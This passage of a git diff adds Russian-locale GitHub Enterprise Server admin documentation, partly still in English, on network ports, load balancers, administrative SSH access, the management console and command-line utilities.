b/translations/ru-RU/content/admin/configuration/configuring-network-settings/network-ports.md new file mode 100644 index 000000000000..45e837b0c64b --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-network-settings/network-ports.md @@ -0,0 +1,78 @@ +--- +title: Сетевые порты +redirect_from: + - /enterprise/admin/articles/configuring-firewalls + - /enterprise/admin/articles/firewall + - /enterprise/admin/guides/installation/network-configuration + - /enterprise/admin/guides/installation/network-ports-to-open + - /enterprise/admin/installation/network-ports + - /enterprise/admin/configuration/network-ports + - /admin/configuration/network-ports +intro: 'Выборочно откройте сетевые порты с учетом сетевых служб, которые необходимо предоставить администраторам, конечным пользователям и службе поддержки по электронной почте.' +versions: + ghes: '*' +type: reference +topics: + - Enterprise + - Infrastructure + - Networking + - Security +ms.openlocfilehash: 048b27ed44cea11057c781ae3043078a825f8d1a +ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160659' +--- +## Административные порты + +Некоторые административные порты необходимы для настройки {% data variables.location.product_location %} и выполнения определенных функций. Административные порты не требуются для использования основного приложения конечными пользователями. + +| Порт | Служба | Описание | +|---|---|---| +| 8443 | HTTPS | Безопасный {% data variables.enterprise.management_console %} на основе Интернета. Требуется для базовой установки и конфигурации. | +| 8080 | HTTP | Обычный текст на основе Интернета {% data variables.enterprise.management_console %}. Не требуется, если TLS не отключен вручную. | +| 122 | SSH | Доступ к оболочке для {% data variables.location.product_location %}. Требуется для открытия входящих подключений между всеми узлами в конфигурации высокого уровня доступности. Порт SSH по умолчанию (22) выделен для Git и сетевого трафика приложения SSH. | +| 1194/UDP | VPN | Безопасный туннель сети репликации в конфигурации высокого уровня доступности. Должен быть открытым для связи между всеми узлами в конфигурации.| +| 123/UDP| NTP | Требуется для операции протокола времени. | +| 161/UDP | SNMP | Требуется для работы протокола мониторинга сети. | + +## Порты приложений для конечных пользователей + +Порты приложений предоставляют конечным пользователям доступ к веб-приложениям и Git. + +| Порт | Служба | Описание | +|---|---|---| +| 443 | HTTPS | Доступ к веб-приложению и Git по протоколу HTTPS. | +| 80 | HTTP | Доступ к веб-приложению. Все запросы перенаправляются на порт HTTPS, если настроен TLS. | +| 22 | SSH | Доступ к Git через SSH. Поддерживает операции клонирования, получения и отправки в общедоступные и частные репозитории. | +| 9418 | Git | Порт протокола Git поддерживает операции клонирования и получения в общедоступные репозитории с незашифрованным взаимодействием по сети. {% data reusables.enterprise_installation.when-9418-necessary %} | + +{% data reusables.enterprise_installation.terminating-tls %} + +## Порты электронной почты + +Порты электронной почты должны быть доступны напрямую или через ретранслятор для поддержки входящей электронной почты для конечных пользователей. + +| Порт | Служба | Описание | +|---|---|---| +| 25 | SMTP | Поддержка SMTP с шифрованием (STARTTLS). | + +## Порты {% data variables.product.prodname_actions %} + +Порты {% data variables.product.prodname_actions %} должны быть доступны для локальных средств выполнения тестов для подключения к {% data variables.location.product_location %}. Дополнительные сведения см. в статье "[Сведения о локально размещенных средствах выполнения](/actions/hosting-your-own-runners/about-self-hosted-runners#communication-between-self-hosted-runners-and-github-enterprise-server)." + +| Порт | Служба | Описание | +|---|---|---| +| 443 | HTTPS | Локальные средства выполнения тестов подключаются к {% data variables.location.product_location %} для получения назначений заданий и скачивания новых версий приложения средства выполнения. Требуется, если настроен TLS. +| 80 | HTTP | Локальные средства выполнения тестов подключаются к {% data variables.location.product_location %} для получения назначений заданий и скачивания новых версий приложения средства выполнения. Требуется, если TLS не настроен. + +Если включить автоматический доступ к действиям {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.prodname_actions %} всегда будет сначала искать действие в {% data variables.location.product_location %} через эти порты, прежде чем проверять {% data variables.product.prodname_dotcom_the_website %}. Дополнительные сведения см. в статье "[Включение автоматического доступа к действиям {% data variables.product.prodname_dotcom_the_website %} с помощью {% data variables.product.prodname_github_connect %}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#about-resolution-for-actions-using-github-connect)". + +## Порты {% data variables.product.prodname_github_connect %} + +Если вы включите {% data variables.product.prodname_github_connect %}, подключение между {% data variables.product.product_name %} и {% data variables.product.prodname_dotcom_the_website %} использует протокол HTTPS через порты 443 или 80, и требуется протокол TLS. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect). + +## Дополнительные материалы + +- [Настройка TLS](/admin/configuration/configuring-network-settings/configuring-tls) diff --git a/translations/ru-RU/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md b/translations/ru-RU/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md new file mode 100644 index 000000000000..955ed62c255a --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md @@ -0,0 +1,102 @@ +--- +title: Using GitHub Enterprise Server with a load balancer +intro: 'Use a load balancer in front of a single {% data variables.product.prodname_ghe_server %} instance or a pair of instances in a High Availability configuration.' +redirect_from: + - /enterprise/admin/guides/installation/using-github-enterprise-with-a-load-balancer + - /enterprise/admin/installation/using-github-enterprise-server-with-a-load-balancer + - /enterprise/admin/configuration/using-github-enterprise-server-with-a-load-balancer + - /admin/configuration/using-github-enterprise-server-with-a-load-balancer +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - High availability + - Infrastructure + - Networking +shortTitle: Use a load balancer +--- + +## About load balancers + +{% data reusables.enterprise_clustering.load_balancer_intro %} + +{% data reusables.enterprise_clustering.load_balancer_dns %} + +## Handling client connection information + +Because client connections to {% data variables.product.prodname_ghe_server %} come from the load balancer, the client IP address can be lost. + +{% data reusables.enterprise_clustering.proxy_preference %} + +{% data reusables.enterprise_clustering.proxy_xff_firewall_warning %} + +{% data reusables.enterprise_installation.terminating-tls %} + +### Enabling PROXY protocol support on {% data variables.location.product_location %} + +We strongly recommend enabling PROXY protocol support for both your instance and the load balancer. Use the instructions provided by your vendor to enable the PROXY protocol on your load balancer. For more information, see [the PROXY protocol documentation](http://www.haproxy.org/download/1.8/doc/proxy-protocol.txt). + +{% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.privacy %} +3. Under **External load balancers**, select **Enable support for PROXY protocol**. +![Checkbox to enable support for PROXY protocol](/assets/images/enterprise/management-console/enable-proxy.png) +{% data reusables.enterprise_management_console.save-settings %} + +{% data reusables.enterprise_clustering.proxy_protocol_ports %} + +### Enabling X-Forwarded-For support on {% data variables.location.product_location %} + +{% data reusables.enterprise_clustering.x-forwarded-for %} + +{% warning %} + +**Warning**: If you configure `X-Forwarded-For` support on {% data variables.location.product_location %} and load balancer, you may not be able to connect to the {% data variables.enterprise.management_console %}. For more information, see "[Error: "Your session has expired" for connections to the {% data variables.enterprise.management_console %}](/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer#error-your-session-has-expired-for-connections-to-the-management-console)." + +{% endwarning %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.privacy %} +3. Under **External load balancers**, select **Allow HTTP X-Forwarded-For header**. +![Checkbox to allow the HTTP X-Forwarded-For header](/assets/images/enterprise/management-console/allow-xff.png) +{% data reusables.enterprise_management_console.save-settings %} + +{% data reusables.enterprise_clustering.without_proxy_protocol_ports %} + +## Configuring health checks + +Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If the instance is offline due to maintenance or unexpected failure, the load balancer can display a status page. In a High Availability (HA) configuration, a load balancer can be used as part of a failover strategy. However, automatic failover of HA pairs is not supported. You must manually promote the replica instance before it will begin serving requests. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)." + +{% data reusables.enterprise_clustering.health_checks %} +{% data reusables.enterprise_site_admin_settings.maintenance-mode-status %} + +## Troubleshooting connectivity through a load balancer + +If you cannot connect to services on {% data variables.location.product_location %} through a load balancer, you can review the following information to troubleshoot the problem. + +{% note %} + +**Note**: Always test changes to your network infrastructure and instance configuration in a staging environment. For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)." + +{% endnote %} + +### Error: "Your session has expired" for connections to the {% data variables.enterprise.management_console %} + +If you enable support for the `X-Forwarded-For` header on your instance and load balancer, you may not be able to access your instance's {% data variables.enterprise.management_console %}. For more information about the {% data variables.enterprise.management_console %} and ports required for connections, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)" and "[Network ports](/admin/configuration/configuring-network-settings/network-ports)." + +If {% data variables.location.product_location %} indicates that your session has expired when you connect to the {% data variables.enterprise.management_console %} through a load balancer, try one of the following configurations on your load balancer. + +- Disable `X-Forwarded-For` headers for connections to your instance on ports 8080 and 8443. +- Configure your load balancer to operate on Layer 4, and use the PROXY protocol instead of `X-Forwarded-For` for passthrough of client IP addresses. For more information, see "[Enabling PROXY protocol support on {% data variables.location.product_location %}](#enabling-proxy-protocol-support-on-your-github-enterprise-server-instance)." + +For more information, refer to the documentation for your load balancer. + +### Live updates to issues and check runs not working + +When {% data variables.location.product_location %} is accessed via a load balancer or reverse proxy, expected live updates, such as new comments on issues and changes in notification badges or check run output, may not display until the page is refreshed. This is most common when the reverse proxy or load balancer is running in a layer 7 mode or does not support the required [websocket](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API) protocol. + +To enable live updates, you may need to reconfigure the load balancer or proxy. For more information, refer to the documentation for your load balancer. diff --git a/translations/ru-RU/content/admin/configuration/configuring-network-settings/validating-your-domain-settings.md b/translations/ru-RU/content/admin/configuration/configuring-network-settings/validating-your-domain-settings.md new file mode 100644 index 000000000000..50ed3a2fa201 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-network-settings/validating-your-domain-settings.md @@ -0,0 +1,24 @@ +--- +title: Validating your domain settings +intro: 'Ensure that your domain settings are properly configured before booting up {% data variables.location.product_location %} for the first time.' +redirect_from: + - /enterprise/admin/installation/validating-your-domain-settings + - /enterprise/admin/configuration/validating-your-domain-settings + - /admin/configuration/validating-your-domain-settings +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Infrastructure + - Networking +shortTitle: Validate domain settings +--- +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.hostname-menu-item %} +4. To test your appliance's DNS and SSL settings, click **Test domain settings**. + ![Test domain settings button](/assets/images/enterprise/management-console/test-domain-settings.png) +{% data reusables.enterprise_management_console.test-domain-settings-failure %} +{% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/about-enterprise-configuration.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/about-enterprise-configuration.md new file mode 100644 index 000000000000..bee1b43ac252 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/about-enterprise-configuration.md @@ -0,0 +1,41 @@ +--- +title: Сведения о настройке предприятия +intro: 'Вы можете использовать панель мониторинга администратора сайта{% ifversion ghes %}, {% data variables.enterprise.management_console %}, а также административную оболочку (SSH) {% elsif ghae %} и параметры предприятия либо обратиться в службу поддержки{% endif %} для управления своим предприятием.' +versions: + ghes: '*' + ghae: '*' +type: overview +topics: + - Enterprise + - Fundamentals + - SSH +redirect_from: + - /admin/configuration/about-enterprise-configuration +shortTitle: About configuration +ms.openlocfilehash: 86012c1fc7b56367d171fd271c5f3d12125cf461 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145112891' +--- +{% ifversion ghes %} {% data reusables.enterprise_site_admin_settings.about-the-site-admin-dashboard %} Дополнительные сведения см. в статье [Панель мониторинга администрирования сайта](/admin/configuration/site-admin-dashboard). + +{% data reusables.enterprise_site_admin_settings.about-the-management-console %} Дополнительные сведения см. в статье [Доступ к консоли управления](/admin/configuration/accessing-the-management-console). + +{% data reusables.enterprise_site_admin_settings.about-ssh-access %} Дополнительные сведения см. в статье [Доступ к административной оболочке (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh). +{% endif %} + +{% ifversion ghae %} Чтобы приступить к работе с {% data variables.product.product_name %}, сначала необходимо развернуть {% data variables.product.product_name %}. Дополнительные сведения см. в статье [Развертывание {% data variables.product.product_name %}](/admin/configuration/configuring-your-enterprise/deploying-github-ae). + +При первом доступе к предприятию необходимо завершить начальную конфигурацию, чтобы получить {% data variables.product.product_name %}, готовые к использованию. Начальная конфигурация включает подключение предприятия к поставщику удостоверений (IdP), проверку подлинности с помощью единого входа SAML, настройку политик для репозиториев и организаций в предприятии и настройку SMTP для исходящей электронной почты. Дополнительные сведения см. в разделе [Инициализация {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae). + +Позже вы можете воспользоваться панелью мониторинга администрирования сайта и параметрами предприятия для дальнейшей настройки предприятия, управления пользователями, организациями и репозиториями, а также задавать политики для снижения рисков и повышения качества. + +Все предприятия настроены с изоляцией поддомена и поддержкой версии TLS 1.2 и более поздних версий только для зашифрованного трафика. +{% endif %} + +## Дополнительные материалы + +- [Управление пользователями, организациями и репозиториями](/admin/user-management) +- [Настройка политик для предприятия](/admin/policies) diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md new file mode 100644 index 000000000000..46eaace76c03 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md @@ -0,0 +1,79 @@ +--- +title: Accessing the administrative shell (SSH) +redirect_from: + - /enterprise/admin/articles/ssh-access + - /enterprise/admin/articles/adding-an-ssh-key-for-shell-access + - /enterprise/admin/guides/installation/administrative-shell-ssh-access + - /enterprise/admin/articles/troubleshooting-ssh-permission-denied-publickey + - /enterprise/admin/2.13/articles/troubleshooting-ssh-permission-denied-publickey + - /enterprise/admin/2.14/articles/troubleshooting-ssh-permission-denied-publickey + - /enterprise/admin/2.15/articles/troubleshooting-ssh-permission-denied-publickey + - /enterprise/admin/installation/accessing-the-administrative-shell-ssh + - /enterprise/admin/configuration/accessing-the-administrative-shell-ssh + - /admin/configuration/accessing-the-administrative-shell-ssh +intro: '{% data reusables.enterprise_site_admin_settings.about-ssh-access %}' +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - SSH +shortTitle: Access the admin shell (SSH) +--- +## About administrative shell access + +If you have SSH access to the administrative shell, you can run {% data variables.product.prodname_ghe_server %}'s command line utilities. SSH access is also useful for troubleshooting, running backups, and configuring replication. Administrative SSH access is managed separately from Git SSH access and is accessible only via port 122. + +## Enabling access to the administrative shell via SSH + +To enable administrative SSH access, you must add your SSH public key to your instance's list of authorized keys. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)." + +{% tip %} + +**Tip:** Changes to authorized SSH keys take effect immediately. + +{% endtip %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +3. Under "SSH access", paste your key into the text box, then click **Add key**. + ![Text box and button for adding an SSH key](/assets/images/enterprise/settings/add-authorized-ssh-key-admin-shell.png) +{% data reusables.enterprise_management_console.save-settings %} + +## Connecting to the administrative shell over SSH + +After you've added your SSH key to the list, connect to the instance over SSH as the `admin` user on port 122. + +```shell +$ ssh -p 122 admin@github.example.com +Last login: Sun Nov 9 07:53:29 2014 from 169.254.1.1 +admin@github-example-com:~$ █ +``` + +### Troubleshooting SSH connection problems + +If you encounter the `Permission denied (publickey)` error when you try to connect to {% data variables.location.product_location %} via SSH, confirm that you are connecting over port 122. You may need to explicitly specify which private SSH key to use. + +To specify a private SSH key using the command line, run `ssh` with the `-i` argument. + +```shell +ssh -i /path/to/ghe_private_key -p 122 admin@HOSTNAME +``` + +You can also specify a private SSH key using the SSH configuration file (`~/.ssh/config`). + +```shell +Host HOSTNAME + IdentityFile /path/to/ghe_private_key + User admin + Port 122 +``` + +## Accessing the administrative shell using the local console + +In an emergency situation, for example if SSH is unavailable, you can access the administrative shell locally. Sign in as the `admin` user and use the password established during initial setup of {% data variables.product.prodname_ghe_server %}. + +## Access limitations for the administrative shell + +Administrative shell access is permitted for troubleshooting and performing documented operations procedures only. Modifying system and application files, running programs, or installing unsupported software packages may void your support contract. Please contact {% data variables.contact.contact_ent_support %} if you have a question about the activities allowed by your support contract. diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md new file mode 100644 index 000000000000..2433d8874d03 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md @@ -0,0 +1,66 @@ +--- +title: Accessing the management console +intro: '{% data reusables.enterprise_site_admin_settings.about-the-management-console %}' +redirect_from: + - /enterprise/admin/articles/about-the-management-console + - /enterprise/admin/articles/management-console-for-emergency-recovery + - /enterprise/admin/articles/web-based-management-console + - /enterprise/admin/categories/management-console + - /enterprise/admin/articles/accessing-the-management-console + - /enterprise/admin/guides/installation/web-based-management-console + - /enterprise/admin/installation/accessing-the-management-console + - /enterprise/admin/configuration/accessing-the-management-console + - /admin/configuration/accessing-the-management-console +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals +shortTitle: Access the management console +--- +## About the {% data variables.enterprise.management_console %} + +Use the {% data variables.enterprise.management_console %} for basic administrative activities: +- **Initial setup**: Walk through the initial setup process when first launching {% data variables.location.product_location %} by visiting {% data variables.location.product_location %}'s IP address in your browser. +- **Configuring authentication policies for the {% data variables.enterprise.management_console %}**: Set rate limits for login attempts, and the lockout duration if someone exceeds the rate limit. +- **Configuring basic settings for your instance**: Configure DNS, hostname, SSL, user authentication, email, monitoring services, and log forwarding on the Settings page. +- **Scheduling maintenance windows**: Take {% data variables.location.product_location %} offline while performing maintenance using the {% data variables.enterprise.management_console %} or administrative shell. +- **Troubleshooting**: Generate a support bundle or view high level diagnostic information. +- **License management**: View or update your {% data variables.product.prodname_enterprise %} license. + +You can always reach the {% data variables.enterprise.management_console %} using {% data variables.location.product_location %}'s IP address, even when the instance is in maintenance mode, or there is a critical application failure or hostname or SSL misconfiguration. + +To access the {% data variables.enterprise.management_console %}, you must use the administrator password established during initial setup of {% data variables.location.product_location %}. You must also be able to connect to the virtual machine host on port 8443. If you're having trouble reaching the {% data variables.enterprise.management_console %}, please check intermediate firewall and security group configurations. + +The {% data variables.enterprise.management_console %} password hash is stored in `/data/user/common/secrets.conf`, and that file is automatically synced from the primary appliance to any high-availability replicas. Any change to the primary's password will automatically be replicated to high-availability replicas. For more information about high availability, see "[About high availability configuration](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration)." + +## Accessing the {% data variables.enterprise.management_console %} as a site administrator + +The first time that you access the {% data variables.enterprise.management_console %} as a site administrator, you must upload your {% data variables.product.prodname_enterprise %} license file to authenticate into the app. For more information, see "[Managing your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise)." + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.type-management-console-password %} + +## Accessing the {% data variables.enterprise.management_console %} as an unauthenticated user + +1. Visit this URL in your browser, replacing `hostname` with your actual {% data variables.product.prodname_ghe_server %} hostname or IP address: + ```shell + http(s)://HOSTNAME/setup + ``` +{% data reusables.enterprise_management_console.type-management-console-password %} + +## Unlocking the {% data variables.enterprise.management_console %} after failed login attempts + +The {% data variables.enterprise.management_console %} locks after {% ifversion enterprise-authentication-rate-limits %}the number of failed login attempts configured by your authentication policies. For more information, see "[Configuring authentication policy rate limits](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-authentication-policy-rate-limits)".{% else %}ten failed login attempts are made in the span of ten minutes. You must wait for the login screen to automatically unlock before attempting to log in again. The login screen automatically unlocks as soon as the previous ten minute period contains fewer than ten failed login attempts. The counter resets after a successful login occurs.{% endif %} + +{% data reusables.enterprise_management_console.unlocking-management-console-with-shell %} + +## Troubleshooting failed connections to the {% data variables.enterprise.management_console %} + +If you cannot connect to the {% data variables.enterprise.management_console %} on {% data variables.location.product_location %}, you can review the following information to troubleshoot the problem. + +### Error: "Your session has expired" for connections through a load balancer + +If you access {% data variables.location.product_location %} through a load balancer and connections to the {% data variables.enterprise.management_console %} fail with a message that your session has expired, you may need to reconfigure your load balancer. For more information, see "[Using {% data variables.product.product_name %} with a load balancer](/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer#error-your-session-has-expired-for-connections-to-the-management-console)." diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md new file mode 100644 index 000000000000..7c9921bd9af5 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md @@ -0,0 +1,984 @@ +--- +title: Command-line utilities +intro: '{% data variables.product.prodname_ghe_server %} includes a variety of utilities to help resolve particular problems or perform specific tasks.' +redirect_from: + - /enterprise/admin/articles/viewing-all-services + - /enterprise/admin/articles/command-line-utilities + - /enterprise/admin/installation/command-line-utilities + - /enterprise/admin/configuration/command-line-utilities + - /admin/configuration/command-line-utilities +miniTocMaxHeadingLevel: 3 +versions: + ghes: '*' +type: reference +topics: + - Enterprise + - SSH +--- +You can execute these commands from anywhere on the VM after signing in as an SSH admin user. For more information, see "[Accessing the administrative shell (SSH)](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/)." + +## General + +### ghe-announce + +This utility sets a banner at the top of every {% data variables.product.prodname_enterprise %} page. You can use it to broadcast a message to your users. + +```shell +# Sets a message that's visible to everyone +$ ghe-announce -s MESSAGE +> Announcement message set. +# Removes a previously set message +$ ghe-announce -u +> Removed the announcement message +``` + +{% ifversion ghe-announce-dismiss %} +To allow each user to dismiss the announcement for themselves, use the `-d` flag. +```shell +# Sets a user-dismissible message that's visible to everyone +$ ghe-announce -d -s MESSAGE +> Announcement message set. +# Removes a previously set message +$ ghe-announce -u +> Removed the announcement message, which was user dismissible: MESSAGE +``` +{% endif %} + +{% ifversion ghes %} +You can also set an announcement banner using the enterprise settings on {% data variables.product.product_name %}. For more information, see "[Customizing user messages on your instance](/enterprise/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)." +{% endif %} + +{% ifversion ghes %} + + +### ghe-aqueduct + +This utility displays information on background jobs, both active and in the queue. It provides the same job count numbers as the admin stats bar at the top of every page. + +This utility can help identify whether the Aqueduct server is having problems processing background jobs. Any of the following scenarios might be indicative of a problem with Aqueduct: + +* The number of background jobs is increasing, while the active jobs remain the same. +* The event feeds are not updating. +* Webhooks are not being triggered. +* The web interface is not updating after a Git push. + +If you suspect Aqueduct is failing, contact {% data variables.contact.contact_ent_support %} for help. + +With this command, you can also pause or resume jobs in the queue. + +```shell +$ ghe-aqueduct status +# lists queues and the number of currently queued jobs for all queues +$ ghe-aqueduct queue_depth --queue QUEUE +# lists the number of currently queued jobs for the specified queue +$ ghe-aqueduct pause --queue QUEUE +# pauses the specified queue +$ ghe-aqueduct resume --queue QUEUE +# resumes the specified queue +``` +{% endif %} + +### ghe-check-disk-usage + +This utility checks the disk for large files or files that have been deleted but still have open file handles. This should be run when you're trying to free up space on the root partition. + +```shell +ghe-check-disk-usage +``` + +### ghe-cleanup-caches + +This utility cleans up a variety of caches that might potentially take up extra disk space on the root volume. If you find your root volume disk space usage increasing notably over time it would be a good idea to run this utility to see if it helps reduce overall usage. + +```shell +ghe-cleanup-caches +``` +### ghe-cleanup-settings + +This utility wipes all existing {% data variables.enterprise.management_console %} settings. + +{% tip %} + +**Tip**: {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} + +{% endtip %} + +```shell +ghe-cleanup-settings +``` + +### ghe-config + +With this utility, you can both retrieve and modify the configuration settings of {% data variables.location.product_location %}. + +```shell +$ ghe-config core.github-hostname +# Gets the configuration value of `core.github-hostname` +$ ghe-config core.github-hostname URL +# Sets the configuration value of `core.github-hostname` to the specified URL +$ ghe-config -l +# Lists all the configuration values +``` +Allows you to find the universally unique identifier (UUID) of your node in `cluster.conf`. + +```shell + $ ghe-config HOSTNAME.uuid +``` + +{% ifversion ghes %} +Allows you to exempt a list of users from REST API rate limits. A hard limit of 120,000 requests will still apply to these users. For more information, see "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)." + +``` shell +$ ghe-config app.github.rate-limiting-exempt-users "HUBOT GITHUB-ACTIONS" +# Exempts the users hubot and github-actions from rate limits +``` +{% endif %} + +### ghe-config-apply + +This utility applies {% data variables.enterprise.management_console %} settings, reloads system services, prepares a storage device, reloads application services, and runs any pending database migrations. It is equivalent to clicking **Save settings** in the {% data variables.enterprise.management_console %}'s web UI or to sending a POST request to [the `/setup/api/configure` endpoint](/enterprise/user/rest/reference/enterprise-admin#management-console). + +You will probably never need to run this manually, but it's available if you want to automate the process of saving your settings via SSH. + +```shell +ghe-config-apply +``` + +### ghe-console + +This utility opens the GitHub Rails console on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %} + +```shell +ghe-console +``` + +### ghe-dbconsole + +This utility opens a MySQL database session on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %} + +```shell +ghe-dbconsole +``` + +### ghe-es-index-status +This utility returns a summary of Elasticsearch indexes in CSV format. + +Print an index summary with a header row to `STDOUT`: +```shell +$ ghe-es-index-status -do +> warning: parser/current is loading parser/ruby23, which recognizes +> warning: 2.3.3-compliant syntax, but you are running 2.3.4. +> warning: please see https://github.com/whitequark/parser#compatibility-with-ruby-mri. +> Name,Primary,Searchable,Writable,UpToDate,RepairProgress,Version +> code-search-1,true,true,true,true,100.0,72e27df7c631b45e026b42bfef059328fa040e17 +> commits-5,true,true,true,true,100.0,7ed28813100c47813ef654c0ee2bb9abf21ab744 +> gists-4,true,true,true,true,100.0,cf8e7d04fcf2564c902e2873c424a279cc41079d +> issues-4,false,false,false,true,100.0,d0bb08f71eebf6e7b070572aa399b185dbdc8a76 +> issues-5,true,true,true,true,100.0,d0bb08f71eebf6e7b070572aa399b185dbdc8a76 +> projects-2,true,true,true,true,100.0,c5cac1c4b3c66d42e609d088d174dbc3dd44469a +> pull-requests-6,true,true,true,true,100.0,6a466ad6b896a3499509990979bf9a18d7d41de3 +> repos-6,true,true,true,true,100.0,6c8b5fbba0fc1e409558db411d05e092c1387082 +> users-5,true,true,true,true,100.0,38984875552bb826c9ec42999f409cb2e95556eb +> wikis-4,true,true,true,true,100.0,2613dec44bd14e14577803ac1f9e4b7e07a7c234 +``` + +Print an index summary and pipe results to `column` for readability: + +```shell +$ ghe-es-index-status -do | column -ts, +> warning: parser/current is loading parser/ruby23, which recognizes +> warning: 2.3.3-compliant syntax, but you are running 2.3.4. +> warning: please see https://github.com/whitequark/parser#compatibility-with-ruby-mri. +> Name Primary Searchable Writable UpToDate RepairProgress Version +> code-search-1 true true true true 100.0 72e27df7c631b45e026b42bfef059328fa040e17 +> commits-5 true true true true 100.0 7ed28813100c47813ef654c0ee2bb9abf21ab744 +> gists-4 true true true true 100.0 cf8e7d04fcf2564c902e2873c424a279cc41079d +> issues-4 false false false true 100.0 d0bb08f71eebf6e7b070572aa399b185dbdc8a76 +> issues-5 true true true true 100.0 d0bb08f71eebf6e7b070572aa399b185dbdc8a76 +> projects-2 true true true true 100.0 c5cac1c4b3c66d42e609d088d174dbc3dd44469a +> pull-requests-6 true true true true 100.0 6a466ad6b896a3499509990979bf9a18d7d41de3 +> repos-6 true true true true 100.0 6c8b5fbba0fc1e409558db411d05e092c1387082 +> users-5 true true true true 100.0 38984875552bb826c9ec42999f409cb2e95556eb +> wikis-4 true true true true 100.0 2613dec44bd14e14577803ac1f9e4b7e07a7c234 +``` + +### ghe-legacy-github-services-report + +This utility lists repositories on your appliance that use {% data variables.product.prodname_dotcom %} Services, an integration method that will be discontinued on October 1, 2018. Users on your appliance may have set up {% data variables.product.prodname_dotcom %} Services to create notifications for pushes to certain repositories. For more information, see "[Announcing the deprecation of {% data variables.product.prodname_dotcom %} Services](https://developer.github.com/changes/2018-04-25-github-services-deprecation/)" on {% data variables.product.prodname_blog %} or "[Replacing {% data variables.product.prodname_dotcom %} Services](/developers/overview/replacing-github-services)." For more information about this command or for additional options, use the `-h` flag. + +```shell +ghe-legacy-github-services-report + +``` + +### ghe-logs-tail + +This utility lets you tail log all relevant log files from your installation. You can pass options in to limit the logs to specific sets. Use the -h flag for additional options. + +```shell +ghe-logs-tail +``` + +### ghe-maintenance + +This utility allows you to control the state of the installation's maintenance mode. It's designed to be used primarily by the {% data variables.enterprise.management_console %} behind-the-scenes, but it can be used directly. For more information, see "[Enabling and scheduling maintenance mode](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." + +```shell +ghe-maintenance -h +``` + +### ghe-motd + +This utility re-displays the message of the day (MOTD) that administrators see when accessing the instance via the administrative shell. The output contains an overview of the 